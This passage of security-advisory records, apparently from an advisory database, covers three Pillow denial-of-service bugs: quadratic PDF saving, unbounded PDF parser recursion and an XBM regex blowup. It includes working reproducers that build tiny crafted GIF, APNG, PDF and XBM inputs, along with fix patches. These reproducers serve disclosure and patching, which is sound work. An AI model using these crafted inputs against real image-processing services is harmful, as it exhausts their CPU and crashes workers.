125-byte animated PNG that merely *declares* a large frame count triggers the same slowdown with no upper bound short of 2³¹ frames. Memory stays under 100 MB and the decompression-bomb limit never applies.\n\nThe cause is `PdfParser.next_object_id()` in `src/PIL/PdfParser.py`, which finds the next free id by computing `max(self.xref_table.keys())`. `XrefTable.keys()` rebuilds three sets over every id reserved so far on each call. `PdfImagePlugin._save()` calls it three times (four for palette images with transparency) per frame, for `n_frames` frames, before any page is written. That makes the id-reservation loop alone O(N²). Because `n_frames` is taken from the file before any frame is seeked, APNG's `acTL` count drives the loop even when the frames don't exist. In that case the save raises `OSError` only after the full delay.\n\nThe precondition is that the application calls `im.save(..., \"PDF\", save_all=True)` on the attacker's file; `Image.open()` and `load()` alone do not reach this code. The attached reproducer shows 4× the frames costing about 11× the CPU for a valid GIF and about 16× for a fixed 125-byte APNG. The behaviour was introduced in `6207b44ab1ff` (2018-01-18) and first shipped in Pillow 5.1.0. A small patch that tracks the highest id in `XrefTable` makes the save linear.\n\n## Details\n\nSaving a multi-frame image as a multi-page PDF (`im.save(fp, \"PDF\", save_all=True)`) costs CPU time proportional to the square of the frame count, independent of pixel content, because every object id the PDF writer reserves is found by rebuilding and scanning the set of all ids reserved so far.\n\nA 1×1-pixel animated GIF made of N identical 15-byte frames (built by the reproducer) gives, on a 2-CPU container with the stock build at this commit (absolute timings vary by machine; the growth rate does not):\n\n| frames | GIF size | `im.save(BytesIO(), \"PDF\", save_all=True)` | peak RSS |\n|---|---|---|---|\n| 2 000 | 30 KB | 1.1 s | |\n| 8 000 | 120 KB | 14.7 s | |\n| 16 000 | 240 KB | 70 s | 60 MB |\n| 32 000 | 480 KB | 262 s | 95 MB |\n| 48 000 | 720 KB | still running at 120 s (extrapolated ≈ 10 min) | |\n\nEach doubling of the input roughly quadruples the time. `cProfile` of the 8 000-frame save attributes 13.5 s of 17.6 s to 24 003 calls of `PdfParser.next_object_id` (8.9 s inside `XrefTable.keys`, 3.9 s inside `max`); encoding and writing the 8 000 pages is the remaining ~4 s and scales linearly.\n\nThe per-page id reservation loop runs before any page is written:\n\n```python\n# src/PIL/PdfImagePlugin.py:247-259  (_save)\n    for im in ims:\n        im_number_of_pages = 1\n        if save_all:\n            im_number_of_pages = getattr(im, \"n_frames\", 1)\n        …\n        for i in range(im_number_of_pages):\n            image_refs.append(existing_pdf.next_object_id(0))\n            if im.mode == \"P\" and \"transparency\" in im.info:\n                image_refs.append(existing_pdf.next_object_id(0))\n\n            page_refs.append(existing_pdf.next_object_id(0))\n            contents_refs.append(existing_pdf.next_object_id(0))\n```\n\n`n_frames` comes straight from the file (for GIF it is the number of image blocks; the GIF plugin counts them by walking block headers, which is cheap). The frames do not even have to exist: the loop runs on `n_frames` before any frame is seeked, and for APNG `n_frames` is the `num_frames` value declared in the `acTL` chunk, rejected only if it is 0 or above `0x80000000` (`src/PIL/PngImagePlugin.py:716-720`). A 125-byte APNG declaring 8 000 frames therefore costs the same ~10–13 s as the 120 KB GIF, and more without bound as the declared count grows. Each of the 3 (or 4, for `P` images with transparency) calls per frame lands here:\n\n```python\n# src/PIL/PdfParser.py:626-634\n    def next_object_id(self, offset: int | None = None) -\u003e IndirectReference:\n        try:\n            # TODO: support reuse of deleted objects\n            reference = IndirectReference(max(self.xref_table.keys()) + 1, 0)\n        except ValueError:\n            reference = IndirectReference(1, 0)\n        if offset is not None:\n            self.xref_table[reference.object_id] = (offset, 0)\n        return reference\n\n# src/PIL/PdfParser.py:175-178  (XrefTable)\n    def keys(self) -\u003e set[int]:\n        return (\n            set(self.existing_entries.keys()) - set(self.deleted_entries.keys())\n        ) | set(self.new_entries.keys())\n```\n\n`_save` passes `offset=0`, so every reserved id is inserted into `xref_table.new_entries`. The k-th call therefore materialises three sets covering all k−1 previous ids, computes a difference and a union, and then `max()` scans the result — O(k) work to produce the integer k. Summed over 3N calls this is O(N²): for 48 000 frames, 144 002 calls over sets growing to 144 002 elements, on the order of 10¹⁰ set-element operations, all spent before `_write_image` is reached for the first frame. Nothing on this path consults `MAX_IMAGE_PIXELS` (the frames are 1×1) and nothing raises; for the GIF the save eventually completes and produces a valid PDF, and for the declared-only APNG it raises `OSError` only once the id loop has finished and the first missing frame is seeked.\n\nThis reservation scheme was introduced in `6207b44ab1ff` (\"issue #2959: support appending to existing PDFs\", 2018-01-18) and first shipped in Pillow 5.1.0; before it, the writer numbered objects arithmetically.\n\nFor contrast, `write_obj(ref, …)` with an already-reserved `ref` (`src/PIL/PdfParser.py:548-555`) only does a dict store, which is why the page-writing phase that follows is linear; the super-linear cost is entirely in how the next free id is computed.\n\n## Impact\n\nThe precondition is that the application saves the attacker's image as PDF with `save_all=True`; `Image.open()` and `load()` alone do not reach this code. An application that converts uploaded images to PDF this way — the documented way to get one page per frame from animated GIF/APNG/WebP or multi-page TIFF input — can have a worker held at 100 % CPU for about 10 minutes by a 720 KB GIF, about 4½ minutes by a 480 KB one, with the cost continuing to grow quadratically with upload size. With APNG the file size does not matter at all: a 125-byte file declaring N frames in `acTL` drives the same quadratic loop, up to the 2³¹ cap. The attacker controls only the file bytes; no unusual dimensions, modes or options are needed, memory use stays under 100 MB so memory limits do not intervene, and the decompression-bomb guard is not applicable. The consequence is denial of service of the process performing the conversion. Single-image PDF saves, and `save_all` saves of images with tens or hundreds of frames, are unaffected in practice.\n\nThis is the same family as earlier accidentally-quadratic parsing issues fixed in Pillow (e.g. CVE-2021-28677, EPS `readline`), but on the PDF *writer* side, reached only through a save rather than on open, and driven by frame count rather than by line structure.\n\n## Reproducing\n\n`repro` is a single Python script. Run it with the Python that has Pillow installed (`./repro`). It uses under 100 MB of RAM and writes no files.\n\n**Input.** Two kinds of file are built in memory, each with 2 000 and 8 000 frames:\n\n- `gif(n)`: a valid animated GIF — a `GIF89a` header with a 1×1 logical screen and a 2-colour global palette, then `n` copies of one 15-byte frame (a 1×1 image descriptor plus the LZW data for one pixel), then the trailer (30 and 120 KB). The only unusual thing about it is how many frames it has.\n- `apng(n)`: a 125-byte APNG — a 1×1 greyscale `IHDR`, an `acTL` chunk declaring `n` frames, one `fcTL`, one `IDAT` and `IEND`. Only the first frame exists; the other `n − 1` are merely declared.\n\n**Action.** Each file goes through what an upload-to-PDF converter would do: `Image.open(BytesIO(data))`, then `im.save(BytesIO(), \"PDF\", save_all=True)`, timed with `time.process_time()`. For the APNG the save raises `OSError` once the writer tries to seek to the second frame; that happens after the id-reservation loop has run for all `n` declared frames, so the exception is caught and the CPU time up to it is recorded.\n\n**Expected output** (stock build at this commit):\n\n```\nGIF  frames= 2000 file= 30020 B  save CPU=  1.03s  result=ok\nGIF  frames= 8000 file=120020 B  save CPU= 11.68s  result=ok\nGIF: 4x frames -\u003e 11.3x CPU (linear ~4x, quadratic ~16x)\nAPNG frames= 2000 file=   125 B  save CPU=  0.65s  result=OSError(Truncated File Read)\nAPNG frames= 8000 file=   125 B  save CPU= 10.48s  result=OSError(Truncated File Read)\nAPNG: 4x frames -\u003e 16.1x CPU (linear ~4x, quadratic ~16x)\nBUG\n```\n\nA linear save would take about 4× as long for 4× the frames; here the GIF save grows ~11× and the APNG save ~16×, the latter with the file size fixed at 125 bytes. The script prints `BUG` when the save CPU for either format grows at least 8× for 4× the frames (twice the linear expectation), otherwise `OK`. Extending the same curve gives the figures in the table above: about 70 s at 16 000 frames (240 KB GIF), and about 10 minutes for a 720 KB file.\n\nWith the attached patch applied, the GIF save takes 0.32 s / 1.20 s (3.7×) and the APNG save 0.01 s / 0.03 s, and the script prints `OK`.\n\n## Suggested fix\n\nMake `next_object_id()` O(1) by tracking the highest object id ever stored in `XrefTable` instead of rebuilding the key set on every call. The attached patch does this in `src/PIL/PdfParser.py`:\n\n```diff\n--- a/src/PIL/PdfParser.py\n+++ b/src/PIL/PdfParser.py\n@@ class XrefTable:\n         self.deleted_entries = {0: 65536}  # object ID =\u003e generation\n         self.reading_finished = False\n+        self.max_object_id = 0  # highest object ID ever stored, deleted or not\n\n     def __setitem__(self, key: int, value: tuple[int, int]) -\u003e None:\n         if self.reading_finished:\n             self.new_entries[key] = value\n         else:\n             self.existing_entries[key] = value\n+        if key \u003e self.max_object_id:\n+            self.max_object_id = key\n         if key in self.deleted_entries:\n             del self.deleted_entries[key]\n@@ class PdfParser:\n     def next_object_id(self, offset: int | None = None) -\u003e IndirectReference:\n-        try:\n-            # TODO: support reuse of deleted objects\n-            reference = IndirectReference(max(self.xref_table.keys()) + 1, 0)\n-        except ValueError:\n-            reference = IndirectReference(1, 0)\n+        # TODO: support reuse of deleted objects\n+        reference = IndirectReference(self.xref_table.max_object_id + 1, 0)\n         if offset is not None:\n             self.xref_table[reference.object_id] = (offset, 0)\n         return reference\n```\n\n`existing_entries` is only ever populated through `__setitem__` (from `read_xref_table` / `read_prev_trailer`), so the counter also covers ids read from an existing file in `append=True` mode. The one behavioural difference: when the highest-numbered existing object has just been deleted (`del_root()` / `rewrite_pages()` in append mode), the current code hands that id out again with generation 0, whereas the patch moves on to the next unused id — the more conservative choice for an xref table, and the one the existing `TODO: support reuse of deleted objects` comment points at. With the patch applied and Pillow rebuilt, the 16 000-frame save drops from ~70 s to ~2.5 s, fresh PDF output is unchanged, `Tests/test_file_pdf.py` and `Tests/test_pdfparser.py` pass, and the reproducer prints `OK`.\n\nAn alternative limited to the writer would be to reserve the `3 × number_of_pages` ids in `PdfImagePlugin._save()` arithmetically from a single `next_object_id()` call, but fixing the allocator also covers `write_obj(None, …)` callers.\n\nThe patch does not address a separate, linear issue: `PdfImagePlugin._save()` still trusts `n_frames` before any frame is decoded, so a tiny file whose format reports a declared-only frame count (APNG `acTL` up to 2³¹) still makes it loop `3 × n_frames` times before the first failing seek. Reserving ids per successfully seeked frame, or validating `n_frames` in such plugins, would close that.\n\n## The patch\n\nTrack the highest object ID in XrefTable so PdfParser.next_object_id() is O(1) instead of rebuilding and scanning the key set\n\nApplies to `src/PIL/PdfParser.py` at the commit above.\n\n```diff\ndiff --git a/src/PIL/PdfParser.py b/src/PIL/PdfParser.py\nindex 672557190..82ebfb867 100644\n--- a/src/PIL/PdfParser.py\n+++ b/src/PIL/PdfParser.py\n@@ -133,12 +133,15 @@ class XrefTable:\n         )  # object ID =\u003e (offset, generation)\n         self.deleted_entries = {0: 65536}  # object ID =\u003e generation\n         self.reading_finished = False\n+        self.max_object_id = 0  # highest object ID ever stored, deleted or not\n \n     def __setitem__(self, key: int, value: tuple[int, int]) -\u003e None:\n         if self.reading_finished:\n             self.new_entries[key] = value\n         else:\n             self.existing_entries[key] = value\n+        if key \u003e self.max_object_id:\n+            self.max_object_id = key\n         if key in self.deleted_entries:\n             del self.deleted_entries[key]\n \n@@ -624,11 +627,8 @@ class PdfParser:\n         self.orig_pages = self.pages[:]\n \n     def next_object_id(self, offset: int | None = None) -\u003e IndirectReference:\n-        try:\n-            # TODO: support reuse of deleted objects\n-            reference = IndirectReference(max(self.xref_table.keys()) + 1, 0)\n-        except ValueError:\n-            reference = IndirectReference(1, 0)\n+        # TODO: support reuse of deleted objects\n+        reference = IndirectReference(self.xref_table.max_object_id + 1, 0)\n         if offset is not None:\n             self.xref_table[reference.object_id] = (offset, 0)\n         return reference\n```\n\n## The reproducer\n\n\u003cdetails\u003e\n\u003csummary\u003eReproducer — \u003ccode\u003erepro\u003c/code\u003e, 1,791 bytes (click to open)\u003c/summary\u003e\n\nIts last line is `BUG` when the issue triggers and `OK` when it does not. Re-run on a clean build of that commit it printed `BUG`.\n\n```python\n#!/usr/bin/env python3\n# PDF save_all is O(frames^2): PdfParser.next_object_id() does max(XrefTable.keys()),\n# and keys() rebuilds sets of every id reserved so far, 3 calls per frame.\n# (a) valid 1x1 animated GIF, 15 bytes/frame; (b) 125-byte APNG whose acTL merely\n# *declares* N frames - ids are reserved for all N before the first seek fails.\nimport io, struct, time, zlib\nfrom PIL import Image\n\ndef gif(n):\n    return (b\"GIF89a\\x01\\x00\\x01\\x00\\x80\\x00\\x00\\x00\\x00\\x00\\xff\\xff\\xff\"\n            + b\"\\x2c\\x00\\x00\\x00\\x00\\x01\\x00\\x01\\x00\\x00\\x02\\x02\\x44\\x01\\x00\" * n + b\"\\x3b\")\n\ndef apng(n):\n    def chunk(t, d):\n        return struct.pack(\"\u003eI\", len(d)) + t + d + struct.pack(\"\u003eI\", zlib.crc32(t + d))\n    return (b\"\\x89PNG\\r\\n\\x1a\\n\"\n            + chunk(b\"IHDR\", struct.pack(\"\u003eIIBBBBB\", 1, 1, 8, 0, 0, 0, 0))\n            + chunk(b\"acTL\", struct.pack(\"\u003eII\", n, 0))\n            + chunk(b\"fcTL\", struct.pack(\"\u003eIIIIIHHBB\", 0, 1, 1, 0, 0, 1, 1, 0, 0))\n            + chunk(b\"IDAT\", zlib.compress(b\"\\x00\\x00\")) + chunk(b\"IEND\", b\"\"))\n\ndef save_pdf(data):\n    im = Image.open(io.BytesIO(data))\n    t = time.process_time()\n    try:\n        im.save(io.BytesIO(), \"PDF\", save_all=True)\n        res = \"ok\"\n    except OSError as e:          # APNG: frames don't exist, fails *after* the id loop\n        res = f\"OSError({e})\"\n    return time.process_time() - t, res\n\nbug = False\nfor name, make in ((\"GIF\", gif), (\"APNG\", apng)):\n    t = {}\n    for n in (2000, 8000):\n        data = make(n)\n        t[n], res = save_pdf(data)\n        print(f\"{name:4} frames={n:5} file={len(data):6} B  save CPU={t[n]:6.2f}s  result={res}\")\n    growth = t[8000] / t[2000]\n    print(f\"{name}: 4x frames -\u003e {growth:.1f}x CPU (linear ~4x, quadratic ~16x)\")\n    if growth \u003e= 8:\n        bug = True\nprint(\"BUG\" if bug else \"OK\")\n```\n\u003c/details\u003e\n\n---","origin":"UNSPECIFIED","severity":"HIGH","published_at":"2026-10-21T21:11:44.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":8.7,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:N/PR:N/UI:N/VC:N/VI:N/VA:H/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-jg86-v3jv-hrpm","https://nvd.nist.gov/vuln/detail/CVE-2026-112894","https://github.com/python-pillow/Pillow/commit/f6a852555f1a1bdff7781abf25f1a3b8bd6ce6cb","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-jg86-v3jv-hrpm"],"source_kind":"github","identifiers":["GHSA-jg86-v3jv-hrpm","CVE-2026-112894"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-21T22:00:07.820Z","updated_at":"2026-12-03T11:01:20.277Z","epss_percentage":0.00594,"epss_percentile":0.49777,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qZzg2LXYzanYtaHJwbc4AB-_P","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS1qZzg2LXYzanYtaHJwbc4AB-_P","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003e= 5.1.0, \u003c 13.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS1qZzg2LXYzanYtaHJwbc4AB-_P/related_packages","related_advisories":[{"uuid":"CVE-2026-112894","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112894.json"},{"uuid":"UBUNTU-CVE-2026-112894","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"DEBIAN-CVE-2026-112894","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-112894"}]},{"uuid":"GSA_kwCzR0hTQS0yNTRmLTM5MzYtMjg4aM4AB-_O","url":"https://github.com/advisories/GHSA-254f-3936-288h","title":"Pillow: PdfParser can recurse without limit in get_value() and linearize_page_tree()","description":"### Summary\n`PdfParser`'s `get_value()` can recurse without any limit and crash with an uncaught `RecursionError`. It is reachable through `Image.save(im, fp=\u003cpdf\u003e, format=\"PDF\", append=True)` when the existing PDF file is attacker-controlled. This is the same class of bug as https://github.com/advisories/GHSA-r73j-pqj5-w3x7 (the /Prev trailer chain loop, fixed earlier this year), in the same file, but in two different functions that fix did not touch.\n\n### Details\n**`get_value()` in `src/PIL/PdfParser.py`**\n\nThis is a classmethod that takes `max_nesting: int = -1` and has a guard:\n\n```python\nif max_nesting == 0:\n    return None, None\n```\n\nEvery recursive call (nested arrays, dictionaries, indirect object definitions) passes `max_nesting=max_nesting - 1`. Since the default and every call site start at -1, this only ever counts down further negative: -1, -2, -3, and so on. It never equals exactly 0, so the guard never runs. A PDF object with a value nested a few thousand levels deep is enough to hit Python's recursion limit. It does not even need a valid `/Pages` tree, since `read_pdf_info()` parses the `/Root` object's own dictionary first, before checking anything else.\n\nThis advisory reports a single vulnerability: an ineffective recursion-depth guard in `PdfParser.get_value()` (the sentinel  `-1`  default never reaches the `== 0` check). The mention of GHSA-r73j-pqj5-w3x7 is comparative context for an already-fixed, already-CVE'd bug in a different function — it is not a second vulnerability being reported. The three trigger paths (nested arrays/dicts/indirect objects) are not independently fixable; they share one root cause and one fix location in  get_value() .\n\n### Steps to reproduce\nBoth PDFs below are plain text, built directly in Python, no PDF library needed.\n\n```python\nfrom PIL.PdfParser import PdfParser\n\ndef build_pdf(root):\n    out = bytearray(b\"%PDF-1.4\\n\")\n    offset = len(out)\n    out += f\"1 0 obj\\n\".encode()\n    out += root\n    out += b\"\\nendobj\\n\"\n    out += b\"xref\\n\"\n    out += f\"0 2\\n\".encode()\n    out += b\"0000000000 65535 f \\n\"\n    out += f\"{offset:010d} 00000 \".encode() + b\"n \\n\"\n    xref_offset = len(out)\n    out += b\"xref\\n\"\n    out += f\"0 2\\n\".encode()\n    out += b\"0000000000 65535 f \\n\"\n    out += f\"{offset:010d} 00000 \".encode() + b\"n \\n\"\n    out += b\"trailer\\n\"\n    out += f\"\u003c\u003c /Size 2 /Root 1 0 R \u003e\u003e\\n\".encode()\n    out += b\"startxref\\n\"\n    out += f\"{xref_offset}\\n\".encode()\n    out += b\"%%EOF\"\n    return bytes(out)\n\nbomb = b\"[\" * 3000 + b\"]\" * 3000\nroot = b\"\u003c\u003c /Type /Catalog /Pages 2 0 R /Bomb \" + bomb + b\" \u003e\u003e\"\nwith open(\"nesting_bomb.pdf\", \"wb\") as f:\n    f.write(build_pdf(root))\n\nPdfParser(\"nesting_bomb.pdf\")     # raises RecursionError\n```\n\nExpected: a clean `PdfFormatError`.\n\nActual: raises a raw `RecursionError: maximum recursion depth exceeded`.\n\n### Impact\n- Availability: an attacker who controls the content of a PDF file that an application later appends an image page to (`Image.save(..., format=\"PDF\", append=True)`) can crash that request with a RecursionError, using a file of a few hundred bytes.\n- Confidentiality: none.\n- Integrity: none.\n- Pillow cannot open PDFs for reading through `Image.open()`. `PdfParser` is only reached through the append-mode save path, so the app has to be doing that specific thing (for example, stamping or watermarking an existing PDF) for this to matter.","origin":"UNSPECIFIED","severity":"MODERATE","published_at":"2026-10-21T21:11:07.000Z","withdrawn_at":null,"classification":"GENERAL","cvss_score":6.3,"cvss_vector":"CVSS:4.0/AV:N/AC:L/AT:P/PR:N/UI:N/VC:N/VI:N/VA:L/SC:N/SI:N/SA:N","references":["https://github.com/python-pillow/Pillow/security/advisories/GHSA-254f-3936-288h","https://nvd.nist.gov/vuln/detail/CVE-2026-112391","https://github.com/python-pillow/Pillow/commit/94cb11c44ff7345414da17ebfea1598a529ad9cd","https://github.com/python-pillow/Pillow/releases/tag/13.0.0","https://github.com/advisories/GHSA-254f-3936-288h"],"source_kind":"github","identifiers":["GHSA-254f-3936-288h","CVE-2026-112391"],"repository_url":null,"blast_radius":0.0,"created_at":"2026-10-21T22:00:07.820Z","updated_at":"2026-12-03T11:01:20.278Z","epss_percentage":0.00581,"epss_percentile":0.49122,"api_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yNTRmLTM5MzYtMjg4aM4AB-_O","html_url":"https://advisories.ecosyste.ms/advisories/GSA_kwCzR0hTQS0yNTRmLTM5MzYtMjg4aM4AB-_O","affected_repository_urls":["https://github.com/python-pillow/pillow"],"packages":[{"ecosystem":"pypi","package_name":"Pillow","versions":[{"first_patched_version":"13.0.0","vulnerable_version_range":"\u003e= 5.1.0, \u003c 13.0.0"}],"purl":"pkg:pypi/pillow"}],"related_packages_url":"https://advisories.ecosyste.ms/api/v1/advisories/GSA_kwCzR0hTQS0yNTRmLTM5MzYtMjg4aM4AB-_O/related_packages","related_advisories":[{"uuid":"UBUNTU-CVE-2026-112391","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"USN-9064-1","source_kind":"osv","url":"https://ubuntu.com/security/notices/USN-9064-1"},{"uuid":"DEBIAN-CVE-2026-112391","source_kind":"osv","url":"https://security-tracker.debian.org/tracker/CVE-2026-112391"},{"uuid":"CVE-2026-112391","source_kind":"osv","url":"https://github.com/CVEProject/cvelistV5/tree/main/cves/2026/112xxx/CVE-2026-112391.json"}]},{"uuid":"GSA_kwCzR0hTQS14Z2g4LWpwNnEtcDV4OM4AB-_N","url":"https://github.com/advisories/GHSA-xgh8-jp6q-p5x8","title":"Pillow: ReDoS in XbmImagePlugin: 512-byte file stalls Image.open() for minutes","description":"```\n============================================================================\nReDoS in XbmImagePlugin: 512-byte file stalls Image.open() for minutes\nLocation: src/PIL/XbmImagePlugin.py:58  in XbmImageFile._open()\nCommit:   a707c6b21c313880d0771e54965d142dd42358b6\n============================================================================\n```\n\nA crafted 512-byte file makes Pillow's `Image.open()` spend about six minutes of processor time on one core before it gives up with `UnidentifiedImageError`. Anyone who can hand bytes to an application that opens images with Pillow's default settings can trigger this, for example through an upload form, a thumbnailer, or a service that checks whether a blob is an image. A few such files sent at once can tie up a typical pool of worker processes.\n\nThe cause is the `xbm_head` regular expression in `src/PIL/XbmImagePlugin.py:32-40`, which `XbmImageFile._open()` (line 58) runs over the first 512 bytes of any stream whose prefix starts with `#define`. Several adjacent parts of the pattern can match the same characters. `[ \\t]+` overlaps with `.*` in the width and height lines and with `[^_]*` in the optional hotspot lines, and `[\\r\\n]+` closing the hotspot group overlaps with the following `[\\000-\\377]*`. The header sets a run of k spaces after each `#define` and a run of k line terminators after `_y_hot`, then omits the `[]` after `_bits`. That forces Python's backtracking matcher to try every way of splitting those runs and rescan the remaining bytes each time. The cost grows roughly as k to the fifth power: k = 60 measured 375 s, while a well-formed XBM of the same size opens in about 40 ms. Because this happens before any format is identified, none of Pillow's size, pixel-count or decompression-bomb limits apply, and upload size limits do not help because the file is tiny. `ImageFile.Parser.feed()` repeats the cost on every chunk until the stream is identified. The only existing mitigation is passing a `formats=` allowlist that excludes `\"XBM\"`.\n\nThe attached reproducer opens the same header with and without the trailing `[]`. The valid version opens as XBM in 52 ms. The broken version takes 0.1 s, 0.75 s, 3.0 s and 8.6 s at k = 10, 15, 20 and 25, and the slow k = 60 case is not run. This is the same class of bug as CVE-2021-25292 in `PdfParser`, but in a different plugin and reachable from plain `Image.open()`.\n\n## Details\n\n`XbmImageFile._open()` identifies an XBM file by running the module-level regex `xbm_head` over the first 512 bytes of the stream. The pattern has several adjacent quantifier pairs that can consume the same characters, followed by a `[\\000-\\377]*_bits\\[]` tail that rescans the rest of the buffer for every way of splitting them. A 512-byte input built to exercise all of them and then fail the final literal keeps `Image.open()` in `xbm_head.match()` for minutes before it raises `UnidentifiedImageError`.\n\nThis 512-byte input (k = 60) takes 375 s of CPU in `Image.open(io.BytesIO(data))` with default settings, measured on the stock build at this commit:\n\n```python\nk = 60\ndata  = b\"#define\" + b\" \"*k + b\"_width 1\\r\"\ndata += b\"#define\" + b\" \"*k + b\"_height 1\\r\"\ndata += b\"#define\" + b\" \"*k + b\"_x_hot 1\\r\"\ndata += b\"#define\" + b\" \"*k + b\"_y_hot 1\" + b\"\\r\"*k\ndata += b\"_bits\"                      # no \"[]\": the final literal never matches\ndata += b\"A\" * (512 - len(data))      # pad to the 512 bytes _open() reads\n```\n\nCalling `XbmImagePlugin.xbm_head.match(data)` directly gives the same picture: k = 10 → 0.11 s, k = 15 → 0.76 s, k = 20 → 3.0 s, k = 25 → 8.5 s, k = 30 → 19.9 s (roughly ×27 per doubling of k, i.e. about k^4.7). A well-formed 512-byte XBM matches in 10 µs and opens and loads through `Image.open()` in ~40 ms including plugin import; the same k = 60 header with `_bits[]` present matches in 5 µs.\n\nThe regex, `src/PIL/XbmImagePlugin.py:32`:\n\n```python\nxbm_head = re.compile(\n    rb\"\\s*#define[ \\t]+.*_width[ \\t]+(?P\u003cwidth\u003e[0-9]+)[\\r\\n]+\"\n    b\"#define[ \\t]+.*_height[ \\t]+(?P\u003cheight\u003e[0-9]+)[\\r\\n]+\"\n    b\"(?P\u003chotspot\u003e\"\n    b\"#define[ \\t]+[^_]*_x_hot[ \\t]+(?P\u003cxhot\u003e[0-9]+)[\\r\\n]+\"\n    b\"#define[ \\t]+[^_]*_y_hot[ \\t]+(?P\u003cyhot\u003e[0-9]+)[\\r\\n]+\"\n    b\")?\"\n    rb\"[\\000-\\377]*_bits\\[]\"\n)\n```\n\nand the only call site, `src/PIL/XbmImagePlugin.py:58`:\n\n```python\n    def _open(self) -\u003e None:\n        …\n        m = xbm_head.match(self.fp.read(512))\n        if not m:\n            msg = \"not a XBM file\"\n            raise SyntaxError(msg)\n```\n\nFor a well-formed header (`#define im_width 8\\n…static char im_bits[] = {`) each `[ \\t]+` eats the single space, `.*`/`[^_]*` eat the identifier prefix, and `[\\000-\\377]*_bits\\[]` finds the literal on its first backward scan, so the match is linear. The crafted header diverges at every one of those points:\n\n- `[ \\t]+.*_width` and `[ \\t]+.*_height`: the run of k spaces after `#define` can be split between `[ \\t]+` and `.*` in k ways, all leading to the same continuation. Factor k each. (The choice of `\\r` terminators is incidental: the same header with `\\n` terminators is equally slow.)\n- `[ \\t]+[^_]*_x_hot` and `[ \\t]+[^_]*_y_hot` inside the optional `hotspot` group: `[^_]*` also matches spaces, so the same k-way split exists twice more. Factor k each. These two lines are essential: without them the same input is rejected in about 10 ms.\n- `[\\r\\n]+` closing the `hotspot` group, followed by `)?` and `[\\000-\\377]*`: the run of k `\\r` bytes after `_y_hot 1` can be divided between `[\\r\\n]+` and `[\\000-\\377]*` in k ways. Factor k.\n- `[\\000-\\377]*_bits\\[]`: for every combination above, the engine swallows the remaining ~150 bytes of padding and walks back looking for `_bits[]`. The input contains `_bits` but never `[]`, so this always fails and every combination is visited.\n\nCPython's `re` is a backtracking engine without memoisation, so the total work is on the order of k^5 × (512 − header length) steps — about 10^11 for k = 60, consistent with the measured 375 s. The 512-byte read caps k (5k + ~60 ≤ 512), so the cost per `open()` is bounded, but the bound is minutes of CPU.\n\nThe path is the default one. `Image.open()` (`src/PIL/Image.py:3719`) reads a 16-byte prefix and offers it to every registered plugin's accept hook; `XbmImagePlugin._accept()` (`src/PIL/XbmImagePlugin.py:43`) returns true for anything whose left-stripped prefix starts with `#define`, and `_open()` then runs the regex. No size, pixel-count or decompression-bomb check can apply before this point because nothing has been parsed yet, and since the match ultimately fails the file is never identified, so the only outcome for the caller is `UnidentifiedImageError` after the delay. File name and extension are irrelevant because dispatch is by content. A `faulthandler` stack dump taken 20 s into the call shows the interpreter at `XbmImagePlugin.py:58 in _open` ← `ImageFile.py:154 in __init__` ← `Image.py:3699 in _open_core` ← `Image.py:3719 in open`.\n\n`ImageFile.Parser.feed()` (`src/PIL/ImageFile.py:584`) amplifies this further: until the stream is identified it calls `Image.open()` on all accumulated data at every `feed()`, so an application feeding the stream in chunks pays the regex cost once per chunk (measured: k = 15 header fed in 8 chunks → 4.6 s versus 0.76 s for a single `open()`).\n\n## Impact\n\nAnyone who can get 512 bytes in front of `Image.open()` — an upload endpoint, thumbnailer, or any service that uses Pillow to sniff whether a blob is an image — pins one CPU core of the handling process for roughly six minutes per request with the default plugin set and default limits. Nothing large is allocated and no `DecompressionBombWarning`/`Error` fires; application-side upload size limits do not help because the file is tiny, and `Image.MAX_IMAGE_PIXELS` is never consulted because no image is ever identified. A handful of concurrent requests is enough to exhaust a typical worker pool. The per-call cost is bounded by the 512-byte header read, so this is a CPU-exhaustion denial of service of the handling process rather than an infinite loop. Applications that pass an explicit `formats=` allowlist to `Image.open()` that excludes `\"XBM\"` are not affected.\n\nThis is the same bug class as CVE-2021-25292 (catastrophic backtracking in the `PdfParser` regexes, fixed in 8.1.1) and CVE-2021-23437 (`ImageColor.getrgb` ReDoS, fixed in 8.3.2), in a different plugin; unlike the PDF case it is reached from plain `Image.open()` on any byte stream.\n\n## Reproducing\n\n`repro` is a single Python script. It uses the installed Pillow through the public `Image.open()` API and needs no rebuild.\n\nEach input is the 512-byte header from Details: four `#define` lines with k spaces after `#define`, lines ending in `\\r`, k `\\r` bytes after `_y_hot 1`, padding with `A` up to the 512 bytes that `_open()` reads. The only thing that changes between inputs is the tail: `_bits[]` (valid) or `_bits` (the final literal can never match).\n\n1. **Control.** Opens the k = 60 header with the tail `_bits[]`. The regex matches on its first try and Pillow reports `XBM (1, 1)` in about 50 ms. This shows that the same bytes are only slow when the match has to fail.\n2. **Attack.** Opens the header with the tail `_bits` at k = 10, 15, 20 and 25. Each one raises `UnidentifiedImageError`, after about 0.1 s, 0.75 s, 3.0 s and 8.6 s. The time grows polynomially, not linearly. The k = 60 input from Details, which takes about 6 minutes of CPU, is not run.\n\nExpected output on this commit:\n\n```\ncontrol k=60 '_bits[]': XBM (1, 1) in 0.052s\nattack  k=10 '_bits'  : UnidentifiedImageError in 0.105s\nattack  